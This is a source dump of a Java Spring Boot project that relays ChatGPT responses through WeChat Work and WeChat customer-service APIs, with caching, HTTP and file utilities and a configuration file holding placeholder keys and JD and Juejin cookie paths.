| 99 | String response = null; 100 | try { 101 | response = OkHttpUtils.post(drawUrl, cookie, requestBody, header); 102 | } catch (Exception e) { 103 | return "访问超时"; 104 | } 105 | 106 | if (StringUtils.isBlank(response)) { 107 | return "访问超时"; 108 | } 109 | JSONObject jsonObject = JSONObject.parseObject(response); 110 | JSONObject errorJsonObject = (JSONObject) jsonObject.get("error"); 111 | if (Objects.nonNull(errorJsonObject)) { 112 | String errorMsg = (String) errorJsonObject.get("message"); 113 | return errorMsg; 114 | } 115 | JSONArray jsonArray = jsonObject.getJSONArray("choices"); 116 | JSONObject jsonObject1 = (JSONObject) jsonArray.get(0); 117 | JSONObject jsonObject2 = (JSONObject) jsonObject1.get("message"); 118 | String result = (String) jsonObject2.get("content"); 119 | log.info("gptNewComplete result:{}", result); 120 | 121 | if (msgs.size() > baseConfig.getChatGptFlowNum()) { 122 | CacheHelper.setUserChatFlowClose(fromUser); 123 | return "连续对话超过" + baseConfig.getChatGptFlowNum() + "次,自动关闭"; 124 | } else if (CacheHelper.getUserChatFlowSwitch(fromUser)) { 125 | List asistantMsgs = CacheHelper.getGptCache(fromUser); 126 | GptMessageDto asistantMsg = new GptMessageDto(); 127 | asistantMsg.setRole("assistant"); 128 | asistantMsg.setContent(result); 129 | asistantMsgs.add(asistantMsg); 130 | CacheHelper.setGptCache(fromUser, asistantMsgs); 131 | } 132 | return result; 133 | } 134 | 135 | } 136 | -------------------------------------------------------------------------------- /src/main/java/com/longbig/multifunction/service/WeChatService.java: -------------------------------------------------------------------------------- 1 | package com.longbig.multifunction.service; 2 | 3 | import com.alibaba.fastjson.JSON; 4 | import com.alibaba.fastjson.JSONObject; 5 | import com.google.common.collect.Lists; 6 | import com.google.common.collect.Maps; 7 | import com.longbig.multifunction.config.BaseConfig; 8 | import com.longbig.multifunction.model.wechat.kf.*; 9 | import com.longbig.multifunction.utils.CacheHelper; 10 | import com.longbig.multifunction.utils.JsonHelper; 11 | import com.longbig.multifunction.utils.OkHttpUtils; 12 | import lombok.extern.slf4j.Slf4j; 13 | import okhttp3.MediaType; 14 | import okhttp3.RequestBody; 15 | import org.apache.commons.lang3.StringUtils; 16 | import org.springframework.beans.factory.annotation.Autowired; 17 | import org.springframework.stereotype.Service; 18 | import org.springframework.util.CollectionUtils; 19 | 20 | import java.util.List; 21 | import java.util.Map; 22 | 23 | /** 24 | * @author yuyunlong 25 | * @date 2023/2/13 11:16 下午 26 | * @description 27 | */ 28 | @Service 29 | @Slf4j 30 | public class WeChatService { 31 | 32 | @Autowired 33 | private BaseConfig baseConfig; 34 | 35 | /** 36 | * 企业微信自建三方应用accessToken名 37 | */ 38 | private String WECHAT_TOKEN = "WECHAT_ROBOT_TOKEN"; 39 | /** 40 | * 微信客服accessToken名 41 | */ 42 | private String KF_TOKEN = "KF_TOKEN"; 43 | 44 | private String cursorKey = "cursor"; 45 | 46 | 47 | private String getAccessToken(String tokenName, String corpsecret) throws Exception { 48 | 49 | String data = CacheHelper.get(tokenName); 50 | if (StringUtils.isNotEmpty(data)) { 51 | // log.info("cache data:{}", data); 52 | return data; 53 | } 54 | String corpid = baseConfig.getSCorpID(); 55 | String url = "https://qyapi.weixin.qq.com/cgi-bin/gettoken?corpid=" + corpid + 56 | "&corpsecret=" + corpsecret; 57 | String jsonData = OkHttpUtils.get(url); 58 | JSONObject jsonObject = JSONObject.parseObject(jsonData); 59 | String accessToken = jsonObject.getString("access_token"); 60 | CacheHelper.set(tokenName, accessToken); 61 | return accessToken; 62 | } 63 | 64 | 65 | public String sendMsg(String msg, String touser) throws Exception { 66 | String accessToken = null; 67 | List msgList = Lists.newArrayList(); 68 | try { 69 | String corpsecret = baseConfig.getCorpsecret(); 70 | accessToken = getAccessToken(WECHAT_TOKEN, corpsecret); 71 | } catch (Exception e) { 72 | log.error("sendMsg getAccessToken error,e={}", e); 73 | return "fail"; 74 | } 75 | String url = "https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=" + accessToken; 76 | if (msg.length() > 2048) { 77 | int count = msg.length() / 2048 + 1; 78 | int beginIndex = 0, endIndex = 2048; 79 | for (int i = 0; i < count; i++) { 80 | String temp = msg.substring(beginIndex, endIndex); 81 | msgList.add(temp); 82 | beginIndex = endIndex; 83 | endIndex += 2048; 84 | endIndex = endIndex > msg.length() ? msg.length() : endIndex; 85 | } 86 | } else { 87 | msgList.add(msg); 88 | } 89 | 90 | for (String s : msgList) { 91 | String body = "{\n" + 92 | " \"touser\" : \"" + touser + "\",\n" + 93 | " \"msgtype\" : \"text\",\n" + 94 | " \"agentid\" : " + baseConfig.getAgentId() + ",\n" + 95 | " \"text\" : {\n" + 96 | " \"content\" : \"" + s + "\"\n" + 97 | " },\n" + 98 | " \"safe\":0,\n" + 99 | " \"enable_id_trans\": 0,\n" + 100 | " \"enable_duplicate_check\": 0,\n" + 101 | " \"duplicate_check_interval\": 1800\n" + 102 | "}"; 103 | MediaType JSON1 = MediaType.parse("application/json;charset=utf-8"); 104 | RequestBody requestBody = RequestBody.create(JSON1, body); 105 | log.info("send msg:{}", requestBody); 106 | OkHttpUtils.post(url, "", requestBody, Maps.newHashMap()); 107 | } 108 | return "success;"; 109 | } 110 | 111 | public String sendKfMsg(KefuHandleDTO kefuHandleDTO) throws Exception { 112 | String accessToken = null; 113 | List msgList = Lists.newArrayList(); 114 | try { 115 | String corpsecret = baseConfig.getKfsecret(); 116 | accessToken = getAccessToken(KF_TOKEN, corpsecret); 117 | } catch (Exception e) { 118 | log.error("sendKfMsg getAccessToken error,e={}", e); 119 | return "fail"; 120 | } 121 | String url = "https://qyapi.weixin.qq.com/cgi-bin/kf/send_msg?access_token=" + accessToken; 122 | String msg = kefuHandleDTO.getChatGptData(); 123 | if (msg.length() > 2048) { 124 | int count = msg.length() / 2048 + 1; 125 | int beginIndex = 0, endIndex = 2048; 126 | for (int i = 0; i < count; i++) { 127 | String temp = msg.substring(beginIndex, endIndex); 128 | msgList.add(temp); 129 | beginIndex = endIndex; 130 | endIndex += 2048; 131 | endIndex = endIndex > msg.length() ? msg.length() : endIndex; 132 | } 133 | } else { 134 | msgList.add(msg); 135 | } 136 | 137 | for (String s : msgList) { 138 | String body = "{\n" + 139 | " \"touser\" : \"" + kefuHandleDTO.getFromUser() + "\",\n" + 140 | " \"msgtype\" : \"text\",\n" + 141 | " \"text\" : {\n" + 142 | " \"content\" : \"" + s + "\"\n" + 143 | " },\n" + 144 | " \"open_kfid\": \"" + kefuHandleDTO.getOpenKfid() + "\"\n" + 145 | "}"; 146 | MediaType JSON1 = MediaType.parse("application/json;charset=utf-8"); 147 | RequestBody requestBody = RequestBody.create(JSON1, body); 148 | log.info("sendKfMsg:{}", requestBody); 149 | OkHttpUtils.post(url, "", requestBody, Maps.newHashMap()); 150 | } 151 | return "success"; 152 | } 153 | 154 | /** 155 | * 获取客服接收的消息 156 | * @return 157 | */ 158 | public KefuHandleDTO readKfReceiveMsg(KefuNoticeDTO kefuNoticeDTO) { 159 | String kfsecret = baseConfig.getKfsecret(); 160 | try { 161 | String accessToken = getAccessToken(KF_TOKEN, kfsecret); 162 | String cursorCache = CacheHelper.getWechatCache(cursorKey); 163 | 164 | String url = "https://qyapi.weixin.qq.com/cgi-bin/kf/sync_msg?access_token=" + accessToken; 165 | Map body = Maps.newHashMap(); 166 | body.put("cursor", cursorCache); 167 | body.put("token", kefuNoticeDTO.getToken()); 168 | body.put("limit", 1000); 169 | body.put("voice_format", 0); 170 | body.put("open_kfid", kefuNoticeDTO.getOpenKfId()); 171 | MediaType JSON1 = MediaType.parse("application/json;charset=utf-8"); 172 | RequestBody requestBody = RequestBody.create(JSON1, JSON.toJSONString(body)); 173 | String msg = OkHttpUtils.post(url, "", requestBody, Maps.newHashMap()); 174 | if (StringUtils.isBlank(msg)) { 175 | return null; 176 | } 177 | KefuDataDTO kefuDataDTO = JsonHelper.parseJsonToObject(msg, KefuDataDTO.class); 178 | String cursorNew = kefuDataDTO.getNext_cursor(); 179 | CacheHelper.setWechatCache(cursorKey, cursorNew); 180 | 181 | KefuHandleDTO kefuHandleDTO = new KefuHandleDTO(); 182 | List kefuDataMsgDTOS = kefuDataDTO.getMsg_list(); 183 | //TODO 这里包含event和text类型数据,看看怎么处理 184 | if (!CollectionUtils.isEmpty(kefuDataMsgDTOS)) { 185 | for (KefuDataMsgDTO kefuDataMsgDTO : kefuDataMsgDTOS) { 186 | if (kefuDataMsgDTO.getMsgtype().equals("text")) { 187 | kefuHandleDTO.setData(kefuDataMsgDTO.getText().getContent()); 188 | kefuHandleDTO.setFromUser(kefuDataMsgDTO.getExternal_userid()); 189 | kefuHandleDTO.setOpenKfid(kefuDataMsgDTO.getOpen_kfid()); 190 | break; 191 | } 192 | } 193 | 194 | } 195 | return kefuHandleDTO; 196 | 197 | } catch (Exception e) { 198 | log.error("readKfReceiveMsg error, e={}", e); 199 | } 200 | return null; 201 | } 202 | 203 | } 204 | -------------------------------------------------------------------------------- /src/main/java/com/longbig/multifunction/utils/CacheHelper.java: -------------------------------------------------------------------------------- 1 | package com.longbig.multifunction.utils; 2 | 3 | import com.google.common.cache.Cache; 4 | import com.google.common.cache.CacheBuilder; 5 | import com.google.common.collect.Lists; 6 | import com.longbig.multifunction.model.chatgpt.GptMessageDto; 7 | import org.springframework.util.CollectionUtils; 8 | 9 | import java.util.List; 10 | import java.util.Objects; 11 | import java.util.concurrent.TimeUnit; 12 | 13 | /** 14 | * @author yuyunlong 15 | * @date 2023/2/18 9:44 下午 16 | * @description 17 | */ 18 | public class CacheHelper { 19 | 20 | private static Cache cache; 21 | 22 | private static Cache> chatGptCache; 23 | 24 | //用户连续对话开关 25 | private static Cache userChatFlowSwitch; 26 | //用户GPT4对话开关 27 | private static Cache userChatGpt4Switch; 28 | 29 | private static Cache wechatCache; 30 | 31 | static { 32 | cache = CacheBuilder.newBuilder() 33 | .expireAfterWrite(120, TimeUnit.MINUTES) 34 | .build(); 35 | 36 | chatGptCache = CacheBuilder.newBuilder() 37 | .expireAfterWrite(30, TimeUnit.MINUTES) 38 | .build(); 39 | 40 | userChatFlowSwitch = CacheBuilder.newBuilder() 41 | .expireAfterWrite(30, TimeUnit.MINUTES) 42 | .build(); 43 | 44 | userChatGpt4Switch = CacheBuilder.newBuilder() 45 | .expireAfterWrite(3, TimeUnit.HOURS) 46 | .build(); 47 | 48 | wechatCache = CacheBuilder.newBuilder() 49 | .expireAfterWrite(3, TimeUnit.DAYS) 50 | .build(); 51 | } 52 | 53 | public static void setWechatCache(String key, String value) { 54 | wechatCache.put(key, value); 55 | } 56 | 57 | public static String getWechatCache(String key) { 58 | return wechatCache.getIfPresent(key); 59 | } 60 | 61 | public static void set(String key, String value) { 62 | cache.put(key, value); 63 | } 64 | 65 | public static String get(String key) { 66 | return cache.getIfPresent(key); 67 | } 68 | 69 | public static void setGptCache(String username, List gptMessageDtos) { 70 | chatGptCache.put(username, gptMessageDtos); 71 | } 72 | 73 | public static List getGptCache(String username) { 74 | List messageDtos = chatGptCache.getIfPresent(username); 75 | if (CollectionUtils.isEmpty(messageDtos)) { 76 | return Lists.newArrayList(); 77 | } 78 | return messageDtos; 79 | } 80 | 81 | public static void setUserChatFlowOpen(String username) { 82 | userChatFlowSwitch.put(username, true); 83 | } 84 | 85 | public static void setUserChatFlowClose(String username) { 86 | userChatFlowSwitch.put(username, false); 87 | chatGptCache.invalidate(username); 88 | } 89 | 90 | public static Boolean getUserChatFlowSwitch(String username) { 91 | Boolean result = userChatFlowSwitch.getIfPresent(username); 92 | if (Objects.isNull(result)) { 93 | return false; 94 | } 95 | return result; 96 | } 97 | 98 | public static void setUserChatGpt4Open(String username) { 99 | userChatGpt4Switch.put(username, true); 100 | } 101 | 102 | public static void setUserChatGpt4Close(String username) { 103 | userChatGpt4Switch.put(username, false); 104 | } 105 | 106 | public static Boolean getUserChatGpt4Switch(String username) { 107 | Boolean result = userChatGpt4Switch.getIfPresent(username); 108 | if (Objects.isNull(result)) { 109 | return false; 110 | } 111 | return result; 112 | } 113 | } 114 | -------------------------------------------------------------------------------- /src/main/java/com/longbig/multifunction/utils/FileUtils.java: -------------------------------------------------------------------------------- 1 | package com.longbig.multifunction.utils; 2 | 3 | import com.google.common.collect.Lists; 4 | import lombok.extern.slf4j.Slf4j; 5 | 6 | import java.io.*; 7 | import java.util.List; 8 | import java.util.Objects; 9 | 10 | @Slf4j 11 | public class FileUtils { 12 | 13 | /** 14 | * 读取文件后以数组形式存放 15 | * 16 | * @param inputFile 17 | * @return 18 | * @throws Exception 19 | */ 20 | public static List readFileToStringList(String inputFile) { 21 | List stringList = Lists.newArrayList(); 22 | try { 23 | FileReader fileReader = new FileReader(inputFile); 24 | BufferedReader bufferedReader = new BufferedReader(fileReader); 25 | String line = bufferedReader.readLine(); 26 | while (line != null) { 27 | log.info("readFileToStringList:{}", line); 28 | stringList.add(line); 29 | line = bufferedReader.readLine(); 30 | } 31 | fileReader.close(); 32 | } catch (IOException e) { 33 | log.error("读取输入文件失败:{}", inputFile, e); 34 | } 35 | return stringList; 36 | } 37 | 38 | /** 39 | * 将二维数组写入到文件中 40 | * 41 | * @param strings 42 | * @param outputFile 43 | */ 44 | public static void writeStringListToFile(String[][] strings, String outputFile) { 45 | try { 46 | File file = new File(outputFile); 47 | FileWriter out = new FileWriter(file); 48 | //将数组中的数据写入到文件中,以空格分开 49 | for (String[] stringList : strings) { 50 | for (String string : stringList) { 51 | if (Objects.nonNull(string)) { 52 | out.write(string + " "); 53 | } 54 | } 55 | out.write("\n"); 56 | } 57 | out.close(); 58 | } catch (IOException e) { 59 | log.error("输出路径有问题:{}", outputFile); 60 | e.printStackTrace(); 61 | } 62 | 63 | } 64 | 65 | /** 66 | * 读取文件到缓存 67 | * 68 | * @param inputFile 69 | */ 70 | public static BufferedReader readFile(String inputFile) { 71 | try { 72 | File file = new File(inputFile); 73 | InputStreamReader reader = new InputStreamReader(new FileInputStream(file)); 74 | System.out.println(reader.getEncoding()); 75 | BufferedReader bufferedReader = new BufferedReader(reader); 76 | return bufferedReader; 77 | } catch (Exception e) { 78 | e.printStackTrace(); 79 | } 80 | return null; 81 | } 82 | 83 | /** 84 | * 将缓存写入文件 85 | * 86 | * @param outputFile 87 | * @param bufferedReader 88 | */ 89 | public static void writeFile(String outputFile, BufferedReader bufferedReader) { 90 | if (Objects.isNull(bufferedReader)) { 91 | return; 92 | } 93 | try { 94 | File writeName = new File(outputFile); 95 | writeName.createNewFile(); 96 | FileWriter writer = new FileWriter(writeName); 97 | String line = ""; 98 | while (null != line) { 99 | line = bufferedReader.readLine(); 100 | BufferedWriter out = new BufferedWriter(writer); 101 | if (Objects.nonNull(line)) { 102 | out.write("\"" + line + "\"" + ","); 103 | out.flush(); 104 | } 105 | } 106 | } catch (IOException e) { 107 | log.error("输出路径不存在:{}", outputFile); 108 | e.printStackTrace(); 109 | } 110 | } 111 | } 112 | -------------------------------------------------------------------------------- /src/main/java/com/longbig/multifunction/utils/JsonHelper.java: -------------------------------------------------------------------------------- 1 | package com.longbig.multifunction.utils; 2 | 3 | import com.alibaba.fastjson.JSON; 4 | import lombok.extern.slf4j.Slf4j; 5 | 6 | /** 7 | * @author yuyunlong 8 | * @date 2023/6/3 23:55 9 | * @description 10 | */ 11 | @Slf4j 12 | public class JsonHelper { 13 | 14 | public static T parseJsonToObject(String jsonData, Class clazz) { 15 | try { 16 | return JSON.parseObject(jsonData, clazz); 17 | } catch (Exception e) { 18 | log.error("parseJsonToObject error,e={}", e); 19 | } 20 | return null; 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /src/main/java/com/longbig/multifunction/utils/OkHttpUtils.java: -------------------------------------------------------------------------------- 1 | package com.longbig.multifunction.utils; 2 | 3 | import com.longbig.multifunction.config.BaseConfig; 4 | import lombok.extern.slf4j.Slf4j; 5 | import okhttp3.*; 6 | import org.springframework.beans.factory.annotation.Autowired; 7 | 8 | import java.util.Map; 9 | import java.util.concurrent.TimeUnit; 10 | 11 | /** 12 | * @author yuyunlong 13 | * @date 2021/10/16 12:57 上午 14 | * @description 15 | */ 16 | @Slf4j 17 | public class OkHttpUtils { 18 | 19 | private static Long DEFAULT_TIME_OUT = 40L; 20 | 21 | public static String post(String url, String cookie, RequestBody requestBody, Map header) throws Exception { 22 | 23 | String userAgent = "okhttp/3.12.1;jdmall;android;version/10.3.4;build/92451;"; 24 | 25 | OkHttpClient client = new OkHttpClient().newBuilder() 26 | .connectTimeout(DEFAULT_TIME_OUT, TimeUnit.SECONDS) 27 | .readTimeout(DEFAULT_TIME_OUT, TimeUnit.SECONDS) 28 | .build(); 29 | Request request = new Request.Builder() 30 | .url(url) 31 | .post(requestBody) 32 | .headers(Headers.of(header)) 33 | .addHeader("Cookie", cookie) 34 | .addHeader("User-Agent", userAgent) 35 | .addHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8") 36 | .addHeader("Cache-Control", "no-cache") 37 | .addHeader("connection", "Keep-Alive") 38 | .addHeader("accept", "*/*") 39 | .build(); 40 | 41 | Response response = client.newCall(request).execute(); 42 | String result = response.body().string(); 43 | log.info("post请求,result:{}", result); 44 | return result; 45 | } 46 | 47 | public static String get(String url, String cookie, Map header) throws Exception { 48 | 49 | String userAgent = "okhttp/3.12.1;jdmall;android;version/10.3.4;build/92451;"; 50 | 51 | OkHttpClient client = new OkHttpClient().newBuilder() 52 | .build(); 53 | Request request = new Request.Builder() 54 | .url(url) 55 | .get() 56 | .headers(Headers.of(header)) 57 | .addHeader("Cookie", cookie) 58 | .addHeader("User-Agent", userAgent) 59 | .addHeader("Content-Type", "application/json; charset=UTF-8") 60 | .addHeader("Cache-Control", "no-cache") 61 | .addHeader("connection", "Keep-Alive") 62 | .addHeader("accept", "*/*") 63 | .build(); 64 | 65 | Response response = client.newCall(request).execute(); 66 | String result = response.body().string(); 67 | log.info("get请求,result:{}", result); 68 | return result; 69 | } 70 | 71 | public static String get(String url) throws Exception { 72 | 73 | String userAgent = "okhttp/3.12.1;jdmall;android;version/10.3.4;build/92451;"; 74 | 75 | OkHttpClient client = new OkHttpClient().newBuilder() 76 | .build(); 77 | Request request = new Request.Builder() 78 | .url(url) 79 | .get() 80 | .addHeader("User-Agent", userAgent) 81 | .addHeader("Content-Type", "application/json; charset=UTF-8") 82 | .addHeader("Cache-Control", "no-cache") 83 | .addHeader("connection", "Keep-Alive") 84 | .addHeader("accept", "*/*") 85 | .build(); 86 | 87 | Response response = client.newCall(request).execute(); 88 | String result = response.body().string(); 89 | log.info("get请求,result:{}", result); 90 | return result; 91 | } 92 | 93 | } 94 | -------------------------------------------------------------------------------- /src/main/java/com/longbig/multifunction/utils/ResourceUtils.java: -------------------------------------------------------------------------------- 1 | package com.longbig.multifunction.utils; 2 | 3 | import com.google.common.collect.Lists; 4 | import lombok.extern.slf4j.Slf4j; 5 | import org.apache.commons.lang3.StringUtils; 6 | import org.springframework.beans.factory.annotation.Autowired; 7 | import org.springframework.core.io.Resource; 8 | import org.springframework.core.io.ResourceLoader; 9 | import org.springframework.stereotype.Component; 10 | 11 | import java.io.BufferedReader; 12 | import java.io.IOException; 13 | import java.io.InputStream; 14 | import java.io.InputStreamReader; 15 | import java.util.List; 16 | 17 | /** 18 | * @author yuyunlong 19 | * @date 2022/9/10 12:02 下午 20 | * @description 21 | */ 22 | @Component 23 | @Slf4j 24 | public class ResourceUtils { 25 | 26 | @Autowired 27 | private ResourceLoader resourceLoader; 28 | 29 | public List readFromClassPath(String filePath) { 30 | Resource resource = resourceLoader.getResource(filePath); 31 | List data = Lists.newArrayList(); 32 | try { 33 | InputStream inputStream = resource.getInputStream(); 34 | InputStreamReader inputStreamReader = new InputStreamReader(inputStream); 35 | BufferedReader bufferedReader = new BufferedReader(inputStreamReader); 36 | String line = ""; 37 | while (line != null) { 38 | line = bufferedReader.readLine(); 39 | if (StringUtils.isNotBlank(line)) { 40 | data.add(line); 41 | } 42 | } 43 | bufferedReader.close(); 44 | inputStreamReader.close(); 45 | inputStream.close(); 46 | } catch (IOException e) { 47 | log.error("读取classpath下文件失败,filePath:{}", filePath, e); 48 | } 49 | return data; 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /src/main/java/com/longbig/multifunction/utils/XmlHelper.java: -------------------------------------------------------------------------------- 1 | package com.longbig.multifunction.utils; 2 | 3 | import lombok.extern.slf4j.Slf4j; 4 | import org.dom4j.Document; 5 | import org.dom4j.DocumentException; 6 | import org.dom4j.DocumentHelper; 7 | import org.dom4j.Element; 8 | 9 | /** 10 | * @author yuyunlong 11 | * @date 2023/6/3 20:47 12 | * @description 13 | */ 14 | @Slf4j 15 | public class XmlHelper { 16 | 17 | /** 18 | * xml格式数据转Java对象 19 | * 20 | * @param xmlData 21 | * @param clazz 22 | * @param 23 | * @return 24 | */ 25 | public static T parseXmlToObject(String xmlData, Class clazz) { 26 | try { 27 | Document document = DocumentHelper.parseText(xmlData); 28 | Element root = document.getRootElement(); 29 | 30 | T object = clazz.newInstance(); 31 | 32 | for (java.lang.reflect.Field field : clazz.getDeclaredFields()) { 33 | String tagName = field.getName(); 34 | String value = getElementValue(root, tagName); 35 | if (value != null) { 36 | field.setAccessible(true); 37 | field.set(object, value); 38 | } 39 | } 40 | 41 | return object; 42 | } catch (DocumentException | InstantiationException | IllegalAccessException | IllegalArgumentException e) { 43 | log.error("parseXmlToObject error, e = {}", e); 44 | } 45 | return null; 46 | } 47 | 48 | private static String getElementValue(Element parent, String tagName) { 49 | Element element = parent.element(tagName); 50 | if (element != null) { 51 | return element.getTextTrim(); 52 | } 53 | return null; 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | # datasource 2 | server.port=8080 3 | 4 | #是否从docker启动 5 | start.docker=${START_FROM_DOCKER:0} 6 | 7 | # 京东cookie文件路径 8 | jd.filePath=${FILE_PATH:classpath:jd_cookie.txt} 9 | #jd.pt_key=${PT_KEY:你的pt_key} 10 | #jd.pt_pin=${PT_PIN:你的pt_pin} 11 | 12 | # 掘金cookie 13 | juejin.Cookie=你的掘金cookie 14 | 15 | #chatGPT配置 16 | chatgpt.apiKey=【替换为你的ChatGPT账号API key】 17 | 18 | #一次连续对话中,最大的对话次数限制,可自行修改 19 | chatgpt.flow.num=20 20 | 21 | 22 | #wechat微信应用配置 23 | #自建应用-API接收消息页面-Token 24 | wechat.sToken=【替换】 25 | # 自建应用-API接收消息页面-TokEncodingAESKey 26 | wechat.sEncodingAESKey=【替换】 27 | #自建应用-详情页的Secret 28 | wechat.corpsecret=【自建应用的secret】 29 | #自建应用-应用管理详情页-AgentId 30 | wechat.agentId=【自建应用的agentId】 31 | # 企业微信管理后台-我的企业-企业信息-最下面的企业ID 32 | wechat.sCorpID=【企业ID】 33 | # 微信客服-Secret 34 | wechat.kfsecret=【微信客服secret】 35 | -------------------------------------------------------------------------------- /src/main/resources/banner.txt: -------------------------------------------------------------------------------- 1 | ......................阿弥陀佛...................... 2 | _oo0oo_ 3 | o8888888o 4 | 88\" . \"88 5 | (| -_- |) 6 | 0\\ = /0 7 | ___/‘---’\\___ 8 | .' \\| |/ '. 9 | / \\\\||| : |||// \\ 10 | / _||||| -卍-|||||_ \\ 11 | | | \\\\\\ - /// | | 12 | | \\_| ''\\---/'' |_/ | 13 | \\ .-\\__ '-' ___/-. / 14 | ___'. .' /--.--\\ '. .'___ 15 | .\"\" ‘< ‘.___\\_<|>_/___.’>’ \"\". 16 | | | : ‘- \\‘.;‘\\ _ /’;.’/ - ’ : | | 17 | \\ \\ ‘_. \\_ __\\ /__ _/ .-’ / / 18 | =====‘-.____‘.___ \\_____/___.-’___.-’===== 19 | ‘=---=’ 20 | ....................佛祖保佑 ,永无BUG................... 21 | -------------------------------------------------------------------------------- /src/main/resources/jd_cookie.txt: -------------------------------------------------------------------------------- 1 | pt_key,pt_pin 2 | pt_key,pt_pin -------------------------------------------------------------------------------- /src/main/resources/log4j2.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /src/test/java/com/longbig/multifunction/MultiFunctionApplicationTests.java: -------------------------------------------------------------------------------- 1 | //package com.longbig.multifunction; 2 | // 3 | //import org.junit.Test; 4 | //import org.springframework.boot.test.context.SpringBootTest; 5 | // 6 | //@SpringBootTest 7 | //class MultiFunctionApplicationTests { 8 | // 9 | // @Test 10 | // void contextLoads() { 11 | // } 12 | // 13 | //} 14 | -------------------------------------------------------------------------------- /微信公众号.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/longbig/multi_function_github/3adce0bafb1be2041ea3aa083d78c03bf583ff21/微信公众号.png --------------------------------------------------------------------------------